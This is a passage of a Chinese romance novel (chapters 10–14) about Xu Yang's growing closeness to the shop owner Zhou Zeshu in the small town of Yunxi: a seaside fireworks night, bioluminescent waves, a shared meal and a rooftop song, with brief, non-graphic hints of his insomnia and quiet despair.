谁又说不能这样呢？
徐漾好像心情忽然大好起来。
既然是oe开放式结局，就不能自己想了吗，可以的。
相信的，即成立的。
她发现，周泽树好像真的有魔法。
周泽树见徐漾忽然抬头眼睛亮亮地盯着他，顿了顿，以为她还想要，将悬在空中，没碰到嘴的桃花糕递出去。
“……没有了，这是最后一块，要吗？”
徐漾摇了摇头。
“最近有去什么地方？”周泽树随口问。
“想拍一组照，大概过几天，离谷的油菜花田。”
“这个月正是油菜花开的季节，小徐姐你算是来对了，离谷的油菜花很好看。”张超熟悉，兴奋地跟她介绍。
“真的吗！”
徐漾在网上刷到过照片，她打算过去出一组片，带上无人机。
这个无人机是她前几个月买的，还没开始用过，不知道效果怎么样。
到时候正好派上用场，可以试一试。
出片这种事，要是两个人就好办了。
一个人实在是太麻烦。
张超说：“离谷的油菜花站在顶上看，真的超壮观，不信，你问问周哥，周哥也知道。”
周泽树拿球半蹲在地上诱惑七饼站起来：“别一天老趴着，起来活动活动，到时候变成小胖狗了。”
七饼像是听懂了，不满嚎了两声，而后头趴在爪子上低声呜呜叫。
“啧，不胖，七饼是靓仔。”周泽树无奈轻笑着揉了揉小狗脑袋，将球弹出去。
小狗这下吐着舌头，起身屁颠儿屁颠儿追球去了。
他站起身，拍了拍手，给出建议：“离谷啊？确实还不错，记得带些水吃的，那边买东西不太方便，一来一回要折腾大半天。”
“……哦，好，我记住了谢谢。”
徐漾注意力早已经不在这上面。
她真的应该现在打开手机录个音，给孙语柔发过去。糟糕，耳朵要怀孕了。
太阳已经落下了，张超接到家里电话，爸妈有事要出去一趟，让帮忙照看一下妹妹，正好也到了歇店的时候，周泽树便让他先走，一会儿自己来锁门。
“谢谢老板！”
“张超家也住这里？”徐漾好奇问。
“嗯。”
“噢，原来这样。”
顿时一下只剩他们俩，还有七饼。
要闭店了，这个时候明事儿的人就该走了，但徐漾什么都没说，屁股也没离开凳子。
两人一狗，金黄的影子倒影在地上。
小狗是闹腾移动的。
而他们，是安静的。
其实气氛并没有多尴尬，也没有多不自然，更多的像是种热闹散尽后的宁静松散。
周泽树背对侧身关电脑，鬼使神差下她盯着盯着，伸手摸了摸他影子的头。
轻轻的。
于是，她影子的手，搭在他影子的头上。
周泽树像是在查找什么，半晌，终于弄好关了电脑。
徐漾在他转身时，呼吸一紧，几乎是瞬间收回手。
心虚假装看向门外。
周泽树只是平淡寻常地看了眼她，路过上了楼。
她该走了。
人家都不想理她。
再待下去，真的好尴尬。
徐漾咬了咬嘴上的死皮，准备起身，周泽树抱着一个箱子走到栏杆边。
“徐漾。”
“嗯？”她立刻抬头。
“有没有空，一起去趟秘密基地。”
金灿灿的太阳打在原先墙面悬挂的镜子上，折射出耀眼的光。
很小很小。
11. chapter 11
徐漾想知道纸箱子里到底是什么。
但闭合着根本看不清。
周泽树让她在门口等一等，他锁了门，过了会儿，开来了一辆云溪常见的电瓶。
云溪地方小，有些地方逼仄又弯弯绕绕，电瓶车出行最方便，也是首选。
七饼上蹿下跳，像是早已经熟悉，兴奋地钻到前面落脚属于它的“领地”。
纸箱好在不大，放在后座箱里刚刚好。
周泽树将挂在车把手的头盔递给她。
“来，委屈公主了，上车。”
徐漾不知道去哪里，但她对周泽树有股没由来的信任，也没扭捏。
秘密基地到底是什么？
晚风扑面打在脸上，还没落下绯红的太阳照在身上，似乎能听见风在耳边簌簌的声响。
小狗横坐着，小脑袋伸老长高兴地汪汪叫。
他们在追赶太阳。
都染上了太阳的颜色。
傍晚的云溪朝气昂扬，一点也不沉闷。
明明是春天却有一种胜似夏天的味道。
拐过街道，穿过烟火气的集市，直奔公路。
像是要开往黄昏尽头去，要抓住彩色的棉花云。
“我知道你要去哪了！”徐漾在身后忽然欢快地说。
她听到了涛声。
虽然声音很浅，但绝不可能会听错。
“哦？是吗！说说看！”
周泽树的声音自前面传来。
徐漾故意卖关子不回。
“总之我就是知道！”
“行！那就等会去看看———”
心情像彩色气球，被风吹得鼓囊囊的，飘荡在空里，越飞越高。
空气中渐渐带着份潮湿的海味，那种感觉越来越近。
二十分钟后，终于得以停下。
七饼迫不及待从车上跳下来，哼哧哼哧撒欢往海滩跑去。
徐漾事前根本不知道云溪还有这种地方。
她猜对了。
他们赶在太阳还没彻底落下，来到这里。
两人下车后都没有多余的动作，只是站在公路边，静静地欣赏这片还没完的风景。
伴随着风，她又闻到那股独属于周泽树身上淡淡好闻的气息。
春天时间短，海面并没有炽热的大红色，天际边已经是深邃的淡紫。
但，这依旧不影响它的静谧和壮美。
像打翻一瓶葡萄酒，倾洒在天空，轻轻铺展，与橙粉交杂覆盖在一起，无边无际，温暖而柔美。
徐漾深深呼吸，此刻却不想拿出手机。
这一刻，在眼睛里。
早已经捕捉千千万万遍。
……
“周泽树。”
他没做声。
“周泽树。”徐漾又喊了一声，捣了捣他胳膊。
“干嘛。”他说这句话是带笑的。
真是奇怪，认识这姑娘后，短短一周，他频繁地听到自己的名字，也不感到烦躁。
“我们接下来要做什么？”她其实很好奇，兴奋劲儿不减，箱子里装的到底是什么，偷偷瞟了好几眼。
沙滩垫？投影仪？
里面的东西弄的她心神不宁。
周泽树看了眼时间，似是在思考，抱着纸箱子。
“走吧，我们先下去。”
七饼在沙滩上玩疯了，估计回去得彻底洗澡。
小短腿堪比兔子，撅着心形屁股，来回飞窜，平时最讨厌动，一到广阔的地方，就撒了欢。
天色越来越暗，成了墨蓝色。
要到了。
五、四、三、二。
一。
六点四十分。
噌！
远处公路上一排一排的灯，一下全部亮了起来。
暖黄色。
灯光并不能蔓延过来将天地全部照亮，是那种模糊，尚能看清的程度。
相比下，这边和对面完全是两个世界。
可这里并不荒凉，海浪在夜里一声比一声清晰，轻轻的，轻轻的，犹在耳边。
暖黄单薄的光下，影影卓卓。
周泽树将纸箱里的东西搬出来，不知从哪搞来的烟花。
她竟没有第一时间想到。
“过年剩下，中午整理东西的时候发现的，不放可惜了，不知道有没有受潮，点不点得燃，看运气了。”
“哇哦，所以我们是特地来海边放烟火的。”徐漾兴致勃勃，“我想点，我可以来吗？！”
周泽树拇指摩挲着火机轮：“你确定？”
“我确定。”
“行。”周泽树给她，又多问了一句，“以前点过吗？”
徐漾犹豫了一秒：“点过。”其实并没有，只点过仙女棒这种长条拿在手里安全的，像桶装的并没有。
但她就是想自己来，想试一试。
周泽树将大号烟花搬到一个中间的位置。
徐漾捏着火机跃跃欲试，呼吸一口气，随时做好了等引线一燃就撤退的准备。
海风夹着微咸的气息，将冒出来的火苗吹得摇摇晃晃。
她有一丝紧张，又有一丝激动。
握着火机的手隐隐颤抖，不停的与引线头擦肩而过。
越来越忐忑。
下一秒，手腕被隔着衣服握住，烟花精准地点燃。
周泽树拉住她迅速往后撤离。
引线在滋啦燃烧。
咚咚，咚咚，咚咚！———
烟火腾空，大束大束地在高空炸开，像巨大的蒲公英，绚烂光芒，照亮了整片夜空。
他们齐齐仰头。
抓住她的手忘记了松开。
她也忘了。
心里仿佛也炸开了一束花。
无声胜有声。
咚咚。
烟花升起来了。
……
天空明亮到渐渐黯淡，手腕被意识到松开，徐漾不自然地蜷了蜷手指，手心里浸湿了层汗，微吸气，揣进兜里。
“没有了……”
“烟花易逝，不管内里多大，都是短暂的，放不了多久，这桶持续性不算太强。”
是啊，结束了。
那么今晚，就结束了吗？
她突然很想时间变长一点，再长一点。
并不想那么快回去。
还会有什么呢？
周泽树也没急着走，扣上帽子，找了块礁石姿势闲散地随意躺下。
“如果不急的话，不妨在等半个小时。”
“还有别的？！”
“我不知道哦。”他笑着答。
“好想知道到底是什么啊？这次能不能提前告诉一下下，稍微透漏一下嘛周泽树。”
“或许可能会遇见，或许今晚会失望扑空，等等看。”
“好吧，我猜不到了。”
哪里会失望，这明明是很好的一个夜晚。
徐漾又期待又高兴，夜里的风吹在身上有些冷，烟雾散去，露出天上明亮的星星。
明天是个好天气。
她也想学他的样子躺下，却被周泽树提醒：“箱子里有件加绒大衣，拿出来穿上。”
周泽树的衣服很大，这件衣服都齐她小腿肚了，像偷穿大人衣服的小孩，不过很暖和。
她茫然地捏了捏盖在袖子里的手，乐了。
不管了，扣上帽子，也学着他的样子。
闭目，聆听着海浪，感受到悠悠的风。
天地之大，浩瀚无穷。
徐漾觉得这趟云溪之旅，一点也不亏。
她误入了“桃花源”，拥有了许多个瞬间。
她会将它们好好珍藏起来。
不管今晚究竟会不会出现什么宝藏。
徐漾很想偏头去看周泽树，事实上她也的确这么做了。
她看着他的侧脸，看着他闭着的眼睛，看他垂下的睫毛。
有那么一瞬间，她竟感受到那么一丝不可能会出现在他脸上的孤落和挣扎。
是看错了吗？
在她眼里，周泽树永远悠然自得
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，明明他们还在为电影伤心，可他知道后第一时间却想着开解他们。
他领养流浪狗，给它起名。
他收留高中辍学被骗的张超，为他提供工作机会。
他遇到她酒吧不开心，带她深夜追海棠。
他怕老人家不注意摔倒，耐心将地上油渍仔细擦干净。
他永远温和笑着跟邻居打招呼。
甚至出来放烟花，他还会给她带一件厚外套。
这样一个人，就像春天上午一点钟的暖阳，体贴，温柔，和煦。
是看错了吗？
“周泽树，你要不要听歌？我觉得这个氛围超级适合听歌哦！”
“快听快听，你千万别错过了，我的的歌单机不可失，失不再来。”
“千金难求啊。”周泽树失笑。
“对！千金难求。”徐漾又说，“千金不换！”
她将耳机递给他，再次轻轻瞄了一眼，刚才感受到的仿佛是错觉。
看错了？
“那我怎么说都得听一听，要不损失惨重了。”
徐漾为了证明自己的品味，不知道该放哪一首，挑来挑去，把自己都耗到不行。
坐起来，侧头看周泽树，他双手垫在头下，也没不耐烦，相反，对上视线，眼神示意问怎么了。
海风吹过他的额发在眉间扫动。
这个男人依旧葆有少年人的意气风发。
徐漾抿唇，一鼓作气，点击了自己平日vlog里最常用的歌单。
海浪伴随着耳机里的鼓点，让人忍不住跟着律动融入进去，手指轻点着节拍。
她的歌像她这个人，活泼好动。
两个人静静地听着，一坐一躺，不知怎么了，徐漾倏地惊呼了句。
“我天，我看到了周泽树！！！”
徐漾屏住呼吸，这一幕太过梦幻了。
是蓝眼泪。
今晚的宝藏没有落空。
海水向岸边推涌，泛着蓝色的荧光，一闪一闪，如天上星星揉碎涂上染料融入海里。
那是一种肉眼可见，如同动漫特效一样的蓝，照亮黑暗，太漂亮，太绝。
天上星，海底星。
遥遥相望。
月光，暖系路灯，配合在一起，这是一个梦幻的水晶玻璃球，这是一个令人沉醉，令人惊呼的天地。
在美景面前，容易麻醉。
雀跃溢满整个胸膛，徐漾忍不住拉住身边人的手，带着他往海滩沿边际线奔跑。
他们的胸膛伴随着风，伴随着歌律，疯狂鼓动。
歌曲进入下一首，越来越轻快。
【Nononoworry''aboutnothingohit''sallgonnabegood】
（任何事情都无需担心，一切都会好起来的。）
【Ohohohyou''rereallysomethingohdidn''tyounothatyoucould】
（你还是很了不起的，你难道不知道你可以吗？）
【Nononoworry''aboutnothingohit''sallgonnabegood】
（任何事情都无需担心，一切都会好起来的。）
小狗跟在他们身后在海滩里踩着星光转圈跳舞，盖起一朵朵梅花。
海水哗啦，哗啦，流入心底。
……
这一瞬，必须拍照记录。
必须定格。
当很多年后的一天，或许我们被生活裹挟，都忘记快乐是什么样子的时候，当某个晚上，我们无意翻到这张照片。
哦，原来我们还经历了这一天，这一晚的欢笑，快乐犹在耳边。
“周泽树，我想拍几张照片。”
“行，拍吧。”
周泽树弯唇看着女孩反置镜头对着自己和海面摆着各种姿势。
却不知在自己转身时。
女生比着剪刀手，眼睛望向他的方向。
咔嚓。
12. chapter 12
狗不能要了。
周泽树洗狗到凌晨十二点。
洗了吹毛烘干，一整套流程折腾下来就快两点了。
今晚他显少的没有失眠，并且确信自己会一觉到天亮。
收拾完，长舒了口气，瘫倒在床上，下意识拉开旁边柜子，伸手够到最底下一格压在文件夹底下的分药器，倒出里面的药。
白色药片躺在手上，周泽树目光微滞了一下，而后又止住动作，倒回去放回原位，将柜子也一同拉上。
手机里还停在微信消息，徐漾问七饼好了没有，会不会很难洗。
他当时在忙，没有去看手机，估计她也猜到了，过了半个小时，说自己好困先睡了，发了个晚安的表情包。
要躺下时，手机再次传来振动。
是一条短信——
[我讨厌你，讨厌你，讨厌你！！！你为什么要存在，为什么不去死！]
文字变成声音，穿透深夜的宁静和安然，像是洪水猛兽，久久在耳边徘徊，一遍又一遍。
他有片刻空茫，垂下眼睫，很久指尖才敲着键盘。
只有三个字。
[早点睡。]
手机被关掉静音，这个日常骚扰的号，没有被拉黑，静静地躺在那，他知道隔段时间，它还是会出来，而这个号的主人，也不会领情他的退让。
久违熟悉的窒息感再次造访，床边的人蜷缩着，像是极力在压制什么。
柜子被跌跌撞撞拉开。
客厅刚眯下眼的七饼忽然嗷嗷叫，冲了过来，极力挠门。
—
经常受周泽树照顾，徐漾思考着应该送点什么表示感谢。
送什么好呢？
她现在不在桐城，只能网上买，或者搞些别的。
完全没有思路，哦！可以考虑去他店里定制点什么，她有表妹马上要高考了，可以定制一枚桂花发簪，蟾宫折桂，金榜题名，去讨个好兆头。
不过这完全不算嘛，顶多算是她消费。
到底要送什么，最好有点用的，徐漾窝在榻榻米上，翘腿，仰头望天花板。
唉，想不出来嘛。
以前经常收到的礼物大多都放着吃灰，朋友家人送的，男孩子又不合适，完全没有参考意见。
昨天凌晨的消息他还没回，点开他的朋友圈，依旧没有多余的内容。
徐漾正要打算找闺蜜支支招，哪想她消息进来了。
孙雨柔：[你什么时候回桐城？]
徐漾：[怎么了？（懒羊羊探头jpg.）]
孙雨柔：[没事，我就是问问。]
问问？呵，这哪里像她风格了，徐漾跟闺蜜兼死党十多年，她打一串乱码，她就知道什么意思。
徐漾：[你说不说？（刀子）（炸弹）]
孙雨柔：[徐漾我平时食量有很多么？]
徐漾：[……]
这事就得说说了，起源于她这闺蜜同事，孙雨柔也不胖，无论是身材都挺好的，就这同事碎嘴子，经常孙雨柔点个餐，这同事路过，都要惊叹一声：“哎呀我去，吃这么多。”“你一顿就能吃完啊，饭量都要抵得过男人了。”诸如此类的话。
搞得孙雨柔整个人都不好了，她就属于那种朋友面前开朗健谈，随地大小演，到陌生人了就不敢开口装鹌鹑那类。
有次徐漾发现她把剩饭带回家，还挺奇怪的，后来才知道她持续一段时间都不敢在公司好好吃饭。
明明就正常的量，外卖两盒菜，长的浅打包盒，满满一盒饭，再配点小甜品，服了，一个成年女性能吃完怎么了？
就算点五六样，颗粒不剩怎么了？
吃你家饭了？用你家钱了？
徐漾：[别管傻逼。]
她直接拨了个电话过去：“服了，你就只会在我面前蹦哒，你敢把当我面说的话，直接摔他脸上，看得我拳头邦邦硬，想揍他，摸摸头，别放心上。”
她气得要淑女变身斗战士了。
“这男的就是纯纯有病，真挺正常的，我都可以吃掉一口锅，我下次给你表演表演。”
徐漾一句话把孙雨柔成功逗笑了，擤了擤鼻子，擦干眼泪，跟着一起骂：“对，这男人就是有病！”
徐漾跟着点头：“狗男人。”
孙雨柔：“连我家丞大一根头发丝都比不了，我决定了，他要下次再说我，我一定要骂他，哐他脸上。”
“我支持，觉醒觉醒，骂不了找我，我开电话。”两人激昂的跟要上战场决斗似的。
“哦对了，你刚才正在输入中，你又找我什么事？”
徐漾说来叹气：“雨柔，你帮我想想，给男生送一件礼物，送什么好呢？”
“不是吧。”朋友震惊坐起来，理了理桌上的东西，扯扯衣领，一副军师上位的样子，“来，细说，就你云溪遇到那个男人。”
“对……”
“已经发展这么迅速了？你表白了？在一起了？现在进行到哪一步了？亲了？”
孙雨柔一连五问。
她就知道逃不开：“没有！！根本没有的事，我们现在就只是朋友，在这边多受他照顾，就想先送个东西，回礼一下。”
这个“先”字就很微妙，用的出自本能，当然，里面的深意，当事人不得而知。
她自己根本搞不明白。
徐漾回忆了从出生开始，给老徐表哥侄子送过的礼物。
不行，她不想把用在其他人身上的招数，用给周泽树。
“你帮我想想嘛，给我提供个思路，我就……”
“就怎么样！”
“你家丞大是不是有档节目直播邀请，会抽粉丝线下参加是吧，我到时候给你抢票！”
“确定？”
“……确定。”
孙雨柔：“成交！”两个人抢可比一个人抢胜算大多了，就埋伏着等后话呢。
“他有没有表现喜欢的或者感兴趣的？”
“他感兴趣的，我完全不会，人家自己就很厉害。”
“直接问想要的？”
“这也太直接了吧，不行去不行。”
“那按照你那个crush的风格，送些东西，比如他爱不爱看书，就送书钢笔之类的。”
“感觉不太好吧，我还不太了解。”
……
两人你一句我一句，徐漾都忘记反驳她这个称呼，后面干脆随她怎么喊，反正也纠正不过来。
孙雨柔最后支招，让向身边的朋友，或者熟悉的人打听，这个方法是最靠谱不会出差错的。
对哦，她可以问问张超，都忘记了，她可以从张超那旁敲侧击一下，打听打听。
怎么就没想起来呢。
“太聪明了，么么雨柔，我现在就去！”
根本不急那一会儿，但她好像被点燃，加了能量。
—
在一片晴空里，“里屿”的玻璃门被推开。
张超在柜台守店，听到声音，正要开口欢迎光临。
“小徐姐，是你呀。”
徐漾过来在街口，碰到阿婆支摊子卖新鲜草莓，顺带买了点。
“我刚刚尝了一颗很甜，给你们带了些试试哦。”她无意间瞥到地上趴着的七饼。
“七饼怎么了？”
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小狗怏怏地趴在地上，平时七饼很活泼，见到客人就跑过来坐在脚边又蹭又贴地主动求摸摸，现在一动不动，耷拉着眼皮。
张超接过袋子，往边上看了眼，忧心说：“我也不知道，今早我去接过来，它就这样的，我都快怀疑是不是生病了，无论我怎么逗，它就是不开心。”
徐漾蹲下捡起小狗最喜欢的球，在它面前晃了晃。
丝毫不管用。
昨晚还是好好的。
运动过量了？
可周泽树经常带它过去，这个可能不成立。
会不会是天黑，踩到什么了。
徐漾挨个握起它四个肉垫检查，又扒开毛仔细看身上。
张超也过来，手里拿着它的小兔子试图吸引七饼注意力：“我检查过了，没哪里有伤口。”
那就奇怪了。
“七饼。”徐漾揉了揉小狗脑袋。
“今天好像没有看到周泽树，他在楼上吗？”
“周哥今天不在，店里我来守。”
徐漾敏锐地捕捉到：“周泽树一天都没在店里？”
张超点了点头：“嗯，老板说有事处理，拜托我把七饼带到店，看一天。”
“会不会是因为不在周泽树身边的原因？”
“不会吧。”张超说，“以前老板出门谈生意，长途短途的，都没事的。”
那究竟怎么了？
徐漾坐起来，找到包里的手机，给周泽树发消息：[七饼有点不对劲，它以前有生过病吗？]
又补充了句：[听小张说你今天不在店里。]
漫长的等待，没有回复。
她隐隐觉得哪里有些不对劲，越觉得有问题，心里就越难安，好似有只蚂蚁在慢慢一步一步爬，随着感知愈来愈明显。
“小徐姐你渴么？要不要我给你倒杯水？”
徐漾心不在焉，盯着外面落在地上的白亮亮的阳光，直到张超再次叫了她一声，才恍惚过来。
“……啊？不用不用了，谢谢。”
小狗转了个方向，看着门外，小声哼哼唧唧。
徐漾忽说：“我能带它出去吗？歇店的时候一定给你送回来。”
“当然可以啊，可能是太闷了，我现在走不开，正好带七饼出门溜溜，拜托小徐姐了。”
张超也十分担心小家伙精神状况，可惜店里现在实在离不开人。
虽然她只走过一次，但好在七饼无比熟悉这条路，知道是回家的方向。
徐漾一路拉着狗绳，在它急不可耐中，只好跟着加快步伐跑起来。
远远的看见他家银杏树，沐浴在清透的阳光里。
她弯腰，喘了喘气。
院门紧闭着，荷奶奶不在家。
看起来真的没人。
会不会周泽树临时有事出远门了。
他应该说一声的。
虽然他们好像也没有很熟……熟到可以互报行踪的地步。
可有点生气。
徐漾牵着小狗在门口站着，觉得自己有点莫名其妙，太莫名了。但不知道出于哪一点，仍然不想走。
抬头，望向蓝湛湛的天。
手机里没有回应。
过了许久。
她牵着狗绳，绕到另一侧，准备离开了，却停在楼下，下意识看向那扇玻璃窗。
白色拉紧的窗帘，玻璃上倒映着树叶的影子，随着风，飘飘荡荡。
因为仰视着，阳光落进眼里有些刺痛，她眨了眨眼，将狗绳换到另一只手，准备抬手去揉。
冥冥之中，窗帘好像动了一下。
哗，玻璃窗被推开了。
13. chapter 13
小院门被拉开。
徐漾牵着七饼，小狗一脸亢奋，早没有了之前颓废的样子，哼哼唧唧打转扑向周泽树，拉都拉不住。
周泽树无奈将小短腿抱起来：“什么时候才能对自己有点认知。”
他抬眼看向栏栅外。
徐漾额间藏着些汗意，估计是被七饼拖着小跑来的。
“傻站着干嘛，进来啊。”
徐漾得到允许这才跟着进去。
事实上她一直在打量周泽树，从他站在窗前，到下楼开门。
他穿了一件居家白T，灰裤子，三月这样的装扮，即使没有风，也依旧有些冷。
衣服上背后有些细小的轻微褶皱，她猜测他刚刚应该是在床上。
“周泽树。”
“怎么了？”
“你今天干嘛了？张超说你有事要忙。”徐漾坐在石桌编织椅上试探道。
周泽树没料到她会这么问，不过，这么直咧咧确实像她的作风。
“睡觉啊，很困的。”他玩笑说，开火煮茶的动作没停。
“你睡不好吗？”
“还行，晚上有时候不太容易睡得着。”
“哦。”
他的唇色有些苍白，徐漾垂下视线，脚尖一下下轻蹭着地面。
小狗朝着他们的方向，躺在阳光底下晒太阳，闭眼不过一分钟，又惊醒看一看他们，怕一睁开又都消失了。
“我还以为七饼生病了，它好像有点黏你。”
“小东西算有点良心。”周泽树扯起唇角，说得风轻云淡，“不枉我尽心尽力供着它。”
“刚捡回来小小的，就几个月大，被雨冻得瑟瑟发抖，浑身上下像掉厕坑一样臭，用衣服抱回来，给它洗澡喂吃的，结果吃垃圾胃没缓过来，第二天起来又吐又泻，满客厅被糟蹋到不成样子，陪跑医院上上下下调理了一个多月。”
“带回云溪养，长大了还不老实，我换第三个沙发了，都被咬成爆米花了，地上一堆纸屑，扫把杆都没完整的，不过现在好多了。”
徐漾并不觉得好笑。
心想，七饼是他从别的地方带回来的吗？
也是它陪着走过艰辛的那些年？
难怪会和他的感情很深。
养狗需要负责，现实生活里，多的是不负责任的主人，弃养的事情发生的也并不少。
有些人刷到视频觉得帅很可爱，或者为了讨朋友和另一半欢心，就一时脑热冲动买回来了，结果兴趣来的快，散的也快，抱怨宠物不听话，嫌它把家里搞得乱七八糟的，生了病又嫌弃花钱……
那买来到底干什么？它是个活生生的物种，又不是机器，不想要了，你就把它随手一丢，有没有想过它们的感受？
宠物需要陪伴，需要照顾，更需要精心呵护，情绪价值提供是相互的。
小狗不会说话，小狗只会爱你。
姥姥家住在乡下，有一只大黄狗，徐漾小时候每次去都会和它玩，但它最喜欢姥姥。
有次和姥姥坐车去隔壁市里她朋友家拜访，结果晚上的时候看见大黄就趴在那家人门口。
坐车四个小时，小狗追了一天。
可后来，大黄在家那边被狗贩子夜里偷走了。
徐漾再也没见到过它，姥姥也不再养狗。
周泽树端来茶，先斟了一杯给她，又问：“吃过饭了没？”
“你吃过了么？”徐漾问。
她猜测他肯定还没有吃午饭，甚至早饭也没有。
他脸还有些苍白，嘴上的血色这会儿已经回过来了，没有之前那么明显。
“小舅过生日，老太太昨天就被请走了，明天我去接她，要是不介意，陪我随便吃点。”
她说好。
周泽树去厨房，徐漾本想帮个忙，被他由客人的名义拒绝，不过，她坚持要打个下手。
他便找了几颗小青菜出来，意思意思让她清洗。
“还有什么别的吗？需要我做到的？”
“剥个蒜？或者你随意逛逛？”他已经想不出来别的了。
这姑娘挺轴。
“那我还是剥蒜吧。”
“这么想找个事做啊。”周泽树笑了一声。
“嗯，就是觉得一个人做事挺孤单的。”
周泽树切番茄的动作微顿，不过只是一下，很难察觉。
她站一边，也没有注意。
窗外阳光倾洒，窗明几净，鸟鸣啾啾，时不时叫几声，鸟儿落在枝桠上，再飞走，回弹落了一地粉花。
“我就只会洗洗菜，别的我也不会。”徐漾神神秘秘地说，“哦，我会黑暗料理。”
周泽树被她样子逗乐了：“那说说有哪些？”
“嗯……”徐漾沉吟道，“炭烧可乐鸡翅、锅包碳，黑糖糍粑、巧克力拌面、火龙果蒸米饭、炸麻蕉，算么？”
她说得一脸认真，专心讲做出来的那些奇葩菜。
最终得到周泽树沉默：“……是挺黑暗的。”
“对吧，出锅我都惊呆了，我去，跟我预期的完全不一样。”
“你预期是怎样？”
她一本正经，拍拍胸口，相当自豪：“那当然是色香味俱全，让人欲罢不能，光看着就流口水，觉得我天生就是这块料。”
“那块？”周泽树想笑。
“当大厨的料啊。”
“有一回我爸过生日，我给他做了他爱吃的鲜椒鱼，我看饭桌上他那表情，都要怀疑自己是不是太有天赋了，都要骄傲了，后来再进我爸妈家厨房，怎么都不肯，我妈跟我聊天才知道，我爸当天晚上喝了八杯水。”
她叹气：“就这样屡试不爽，我的大厨梦破碎了。”
周泽树笑呛了：“好吧，技术还得磨磨，再接再厉啊，徐大厨。”
徐漾也嗤嗤笑着，配合着抱拳：“谬赞谬赞了，会努力的。”
“不过，做不来就做不来，也不是一定要多会。”
她将葱递给他，周泽树叠成段，利落地用刀切了。
继续说：“能不能做好都没关系，没人评价的了，要是一个人因为不会做饭对别人评头论足，那只能证明这人确实挺low的，做好做坏，能照顾好自己就行。”
他像个大哥哥一样，给她建议：“要是遇到上面一种想法，动不动使唤你，或者贬低你彰显自己优越性的男人，那可不能要，眼色都别给他一个，不是什么好男人。”
徐漾抿了下唇，盯着他，忽问。
“你觉得什么是好男人？”
开火，水沸，下锅煮面。
周泽树背对，面向着灶台，言简意赅，也没做多想，做一问一答似地开口。
“那得本身品行好才行。”
小鸟从枝头飞走，枝桠受力弹动，又一场花瓣雨簌簌飘落。
轻的，有声的。
“马上就好，先过去坐着，太烫了我等会自己端。”
—
两人面对面坐在桌前，各享用一碗面，面条汤汁浓郁，加了青菜，番茄，火腿和鸡蛋，入胃舒服温暖。
除此之外，徐漾碗边还有一只白瓷盘装了一根裹着面包糠黄亮亮的脆皮香蕉。
这次，真的是炸香蕉，不是她的炸麻焦。
她问周泽树，怎么想着要做炸香蕉了。
周泽树只是说，家里正好有，顺手就做了。
“尝尝，味道应该不错，不知道跟外面卖的相比怎么样。”
“很好吃。”
周泽树笑：“你尝都没尝，敷衍我呢。”
徐漾振振有词：“哼，我就是知道。”
好好好，你说什么就是什么，随你。
周泽树吃得依旧很少，他好像一直吃得不太多。
现在已经下午三点，他明明还没有吃过饭。
“看我干嘛，我脸上有字？”
“有字。”
“什么？”
“嘿，骗你的。”
徐漾放慢进食速度，就像那个深夜凌晨，他陪自己吃火锅一样。
窗外阳光明媚，周泽树将碗收拾进厨房，问要不要去楼顶阳台坐坐。
楼上搭了迷你小花园，木板拼接沿着墙边做了两道花圃。
蓝色小飞燕、白晶菊、福禄考、郁金香，开得正绚烂。
奶白色大伞下支了原木配套桌椅，
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可供休息，伞杆边还靠了一把吉他。
楼顶视野辽阔，离天空又更近了一步，天光清透，白云洁净的像日漫一样。
放眼望，屋顶连绵，红的蓝的，高的矮的。
能看到谁家杏树开了花。
茶馆和旧书店，有大爷在唠嗑喝茶看书。
公园里有人遛狗晒太阳。
一切都不急不躁。
或许周泽树身上的从容，也来自这个叫云溪的小城。
两人靠趴在栏杆上，任春风轻抚着，心好像自然而然，就空了。
中途，徐漾情不自禁侧头。
周泽树微弓着背，手搭栏杆在外，闭眼，清凉的春风抚着他的碎发，他的衣衫，阳光在他白皙的脸庞跳跃。
他睫毛微微动了一下，徐漾赶紧一瞬阖上眼。
她摸到一片叶子，在手里抚玩翻折，像是必须要借点什么东西来缓解心里的慌乱。
不过，好在他并没有发现。
正因为她的紧绷，徐漾没察觉，身边人不知什么时候已经睁开了眼。
她听到一声没由来的笑。
“喂，笑什么，不许。”徐漾恶狠狠，斥责他打破气氛。
手心实则出了层汗。
周泽树以为这会是个无聊没趣的一天。
已经不知是什么时候，他开始对生活没有任何期待。
或许哪一天，他会在屋子里忍受不了发病，忍受不了自己像个怪人，解脱死掉。
只是，老太太可能会伤心的，那还是算了。
熬着吧。
还有人会为他伤心难过吗？不知道，或许有人在狂欢，为终于取得胜利而兴奋。
其实这场“战役”，他从始至终都没有参赛，哪有什么比拼胜利可言，输的一直是他。
他一直是被排除在外的那个。
但在这个春日明媚的午后，有人站在他家楼下，牵着他的狗，特此来找他。
这糟糕平凡的一天，好像变得不平凡了。
徐漾找了个地方坐下，瞥到靠墙的吉他。
“周泽树，你能给我弹首歌吗？挑你会的，最拿手的。”
“享受起来了？”
“你就说行不行嘛。”
“行。”
“听众已就位！”
周泽树弯唇，过去拿了吉他，调整，指尖拨动起琴弦。
是那种不紧不慢，独属于他的慵懒气质。
好巧不巧，他唱了她喜欢的《一格格》，对上视线，他微微一笑。
【缠住吻住春风吹住我吗
缠住吻住郁金香是你吗
缠住吻住诗画歌颂爱吗
拍逐幅逐幅恋爱定格
缠住吻住creamcheese点缀我吗
缠住吻住古雕刻似你吗】
她好像被春风包围，蓝天白云下，他嗓音温柔悦耳，粤语发音磁性动听。
男生穿着简单的白T恤，加了件灰色薄针织衫，灿烂的阳光下，干净剔透，像是十七八岁的恣意少年。
可不同，他更多了份成熟洒脱。
她突然想，十八岁的周泽树究竟是什么样的？
在和同学操场打球？班级舞会上唱歌？周一会上做代表发言？
但很快很快，想到的只有他勤工俭学，奔波四处赚钱的样子。
这只是二十八岁的周泽树。
是历经沧桑，提早见过世界每一面，却依旧风轻云淡，于喧闹中独有自己宁静与坦然的人。
徐漾没有经历过这些，她默默注视着眼前的周泽树，觉得他就像天上的云，看似柔软轻盈，背后却藏着一场雨。
不为人道知的。
她低下头，翻折着手里树叶，这里阳光灿烂，人间花香四溢，比任何时候都更温暖。
一曲罢，弦音消弭散去，却又久久徘徊在耳边。
“给你。”
徐漾折了一只简易用柳枝固定的树叶风车。
“周同学。”
“祝你像风车一样，自由自在。”
春风吹过，轻薄的叶子呼啦呼啦悠悠地转。
她眼里和天空一样澄澈。
14. chapter 14
“里屿”放出的招聘一直没找到合适人选。
对方需要有一定的摄影基础，同时还要有较强的策划运营能力。
短期内虽然接到几个简历投递，但作品集过目后都不太合适，差点意思，可能还得放置一段时间，静候一位有缘人。
今天店里没有来客。
周泽树从楼上下来，张超正津津有味刷手机。
“看什么笑成这样。”周泽树给自己倒了杯水，边走边喝。
